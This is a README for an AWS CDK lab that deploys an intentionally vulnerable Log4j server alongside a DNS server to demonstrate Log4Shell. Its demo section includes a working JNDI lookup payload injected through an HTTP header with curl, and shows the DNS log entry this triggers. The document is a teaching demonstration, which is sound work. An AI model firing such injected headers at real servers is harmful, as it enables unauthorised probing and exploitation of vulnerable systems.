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Log4Shell Demo

Demonstration of Log4Shell vulnerability.

Deploy

Stack name is Log4ShellStack. It will be deployed to the default account and region configured in ~/.aws/config. Refer to CDK installation guide.

Before deploying this stack, create/upload an SSH keypair or specify your existing one. Inbound connection to deployed instances is limited to your public IP, curl -s http://portquiz.net | grep 'IP' | cut -d' ' -f3 to see your IP.

# Create venv
python -m venv .venv
source .venv/bin/activate

# Install CDK libraries
pip install -r requirements.txt -q

# Generate CloudFormation template
mkdir -p cdk.out
cdk synth -c key_name=ssh-keypair-name -c ip=your-public-ip > cdk.out/template.yml

# Review cdk.out/template.yml

# Deploy
cdk deploy -c key_name=ssh-keypair-name -c ip=your-public-ip -v

Demo

  1. Note down the public IP of Log4ShellLog4JInstance and private IP of Log4ShellDNSInstance.

  2. Remote into Log4ShellDNSInstance using Session Manager or SSH. In that instance, run journalctl -xe -u unbound -f

  3. In your local machine, curl -L http://log4j-public-ip -H 'X-Api-Version: ${jndi:dns://dns-private-ip/evil-request}'

    • The response will be Hello, world!.

  4. Back in Log4ShellDNSInstance, it should show this log message,

    • # Jan 1 01:23:45 ip-a-b-c-d unbound[pid]: [pid:0] info: log4j-private-ip evil-request. A IN

This demonstrate the ability to instruct a vulnerable server to make an arbitrary DNS request.

Credit

christophetd/log4shell-vulnerable-app